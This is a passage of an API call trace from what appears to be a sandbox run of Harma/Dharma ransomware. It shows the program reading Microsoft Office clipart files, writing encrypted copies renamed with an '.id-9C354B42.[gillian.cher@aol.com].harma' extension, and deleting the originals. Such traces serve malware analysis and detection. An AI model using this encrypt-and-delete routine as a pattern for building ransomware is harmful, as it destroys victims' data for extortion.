liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.358] SetEndOfFile (hFile=0x350) returned 1 [0139.365] CloseHandle (hObject=0x350) returned 1 [0139.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0139.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.393] lstrlenW (lpString=".doc") returned 4 [0139.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.393] lstrlenW (lpString=".docx") returned 5 [0139.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.394] lstrlenW (lpString=".pdf") returned 4 [0139.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString=".xls") returned 4 [0139.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.394] lstrlenW (lpString=".xlsx") returned 5 [0139.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.394] lstrlenW (lpString=".ppt") returned 4 [0139.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.394] lstrlenW (lpString=".zip") returned 4 [0139.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.394] lstrlenW (lpString=".rar") returned 4 [0139.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString=".bz2") returned 4 [0139.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString=".7z") returned 3 [0139.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.394] lstrlenW (lpString=".dbf") returned 4 [0139.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.394] lstrlenW (lpString=".1cd") returned 4 [0139.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.394] lstrlenW (lpString=".jpg") returned 4 [0139.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.394] lstrlenW (lpString=".doc") returned 4 [0139.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.394] lstrlenW (lpString=".docx") returned 5 [0139.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.395] lstrlenW (lpString=".pdf") returned 4 [0139.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.395] lstrlenW (lpString=".xls") returned 4 [0139.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.395] lstrlenW (lpString=".xlsx") returned 5 [0139.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.395] lstrlenW (lpString=".ppt") returned 4 [0139.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.395] lstrlenW (lpString=".zip") returned 4 [0139.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.395] lstrlenW (lpString=".rar") returned 4 [0139.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.395] lstrlenW (lpString=".bz2") returned 4 [0139.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.395] lstrlenW (lpString=".7z") returned 3 [0139.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.395] lstrlenW (lpString=".dbf") returned 4 [0139.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.395] lstrlenW (lpString=".1cd") returned 4 [0139.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0139.395] lstrlenW (lpString=".jpg") returned 4 [0139.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.396] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.396] lstrlenW (lpString="AN02122_.WMF") returned 12 [0139.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0139.399] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=7540) returned 1 [0139.399] CloseHandle (hObject=0x338) returned 1 [0139.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0139.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0139.399] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.399] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0139.400] GetLastError () returned 0x0 [0139.400] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0139.415] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0139.416] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.417] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.417] SetEndOfFile (hFile=0x340) returned 1 [0139.417] CloseHandle (hObject=0x340) returned 1 [0139.417] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.417] SetEndOfFile (hFile=0x338) returned 1 [0139.423] CloseHandle (hObject=0x338) returned 1 [0139.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0139.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.425] lstrlenW (lpString=".doc") returned 4 [0139.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.425] lstrlenW (lpString=".docx") returned 5 [0139.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.425] lstrlenW (lpString=".pdf") returned 4 [0139.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.425] lstrlenW (lpString=".xls") returned 4 [0139.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.425] lstrlenW (lpString=".xlsx") returned 5 [0139.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.425] lstrlenW (lpString=".ppt") returned 4 [0139.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.425] lstrlenW (lpString=".zip") returned 4 [0139.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.425] lstrlenW (lpString=".rar") returned 4 [0139.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.425] lstrlenW (lpString=".bz2") returned 4 [0139.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.425] lstrlenW (lpString=".7z") returned 3 [0139.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.425] lstrlenW (lpString=".dbf") returned 4 [0139.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.426] lstrlenW (lpString=".1cd") returned 4 [0139.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.426] lstrlenW (lpString=".jpg") returned 4 [0139.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.426] lstrlenW (lpString=".doc") returned 4 [0139.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString=".docx") returned 5 [0139.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.426] lstrlenW (lpString=".pdf") returned 4 [0139.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString=".xls") returned 4 [0139.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.426] lstrlenW (lpString=".xlsx") returned 5 [0139.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.426] lstrlenW (lpString=".ppt") returned 4 [0139.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.426] lstrlenW (lpString=".zip") returned 4 [0139.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.426] lstrlenW (lpString=".rar") returned 4 [0139.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.426] lstrlenW (lpString=".bz2") returned 4 [0139.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.427] lstrlenW (lpString=".7z") returned 3 [0139.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.427] lstrlenW (lpString=".dbf") returned 4 [0139.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.427] lstrlenW (lpString=".1cd") returned 4 [0139.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0139.427] lstrlenW (lpString=".jpg") returned 4 [0139.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.427] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.427] lstrlenW (lpString="AN02724_.WMF") returned 12 [0139.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0139.428] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2108) returned 1 [0139.428] CloseHandle (hObject=0x338) returned 1 [0139.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0139.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0139.430] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.430] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0139.430] GetLastError () returned 0x0 [0139.430] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x83c, lpOverlapped=0x0) returned 1 [0139.432] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x840, lpOverlapped=0x0) returned 1 [0139.434] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.434] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.434] SetEndOfFile (hFile=0x340) returned 1 [0139.434] CloseHandle (hObject=0x340) returned 1 [0139.434] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.434] SetEndOfFile (hFile=0x338) returned 1 [0139.438] CloseHandle (hObject=0x338) returned 1 [0139.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0139.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.440] lstrlenW (lpString=".doc") returned 4 [0139.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.440] lstrlenW (lpString=".docx") returned 5 [0139.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.539] lstrlenW (lpString=".pdf") returned 4 [0139.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.539] lstrlenW (lpString=".xls") returned 4 [0139.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.539] lstrlenW (lpString=".xlsx") returned 5 [0139.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.539] lstrlenW (lpString=".ppt") returned 4 [0139.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.539] lstrlenW (lpString=".zip") returned 4 [0139.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.540] lstrlenW (lpString=".rar") returned 4 [0139.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString=".bz2") returned 4 [0139.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString=".7z") returned 3 [0139.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.540] lstrlenW (lpString=".dbf") returned 4 [0139.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.540] lstrlenW (lpString=".1cd") returned 4 [0139.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.540] lstrlenW (lpString=".jpg") returned 4 [0139.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.540] lstrlenW (lpString=".doc") returned 4 [0139.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString=".docx") returned 5 [0139.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.540] lstrlenW (lpString=".pdf") returned 4 [0139.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString=".xls") returned 4 [0139.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.540] lstrlenW (lpString=".xlsx") returned 5 [0139.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.540] lstrlenW (lpString=".ppt") returned 4 [0139.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.540] lstrlenW (lpString=".zip") returned 4 [0139.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.541] lstrlenW (lpString=".rar") returned 4 [0139.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.541] lstrlenW (lpString=".bz2") returned 4 [0139.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.541] lstrlenW (lpString=".7z") returned 3 [0139.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.541] lstrlenW (lpString=".dbf") returned 4 [0139.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.541] lstrlenW (lpString=".1cd") returned 4 [0139.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0139.541] lstrlenW (lpString=".jpg") returned 4 [0139.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.541] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.541] lstrlenW (lpString="AN04108_.WMF") returned 12 [0139.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0140.234] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2344) returned 1 [0140.234] CloseHandle (hObject=0x328) returned 1 [0140.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0140.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0140.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.276] GetLastError () returned 0x0 [0140.276] ReadFile (in: hFile=0x328, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x928, lpOverlapped=0x0) returned 1 [0140.279] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x930, lpOverlapped=0x0) returned 1 [0140.280] ReadFile (in: hFile=0x328, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.280] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.280] SetEndOfFile (hFile=0x350) returned 1 [0140.296] CloseHandle (hObject=0x350) returned 1 [0140.297] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.297] SetEndOfFile (hFile=0x328) returned 1 [0140.300] CloseHandle (hObject=0x328) returned 1 [0140.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0140.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0140.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 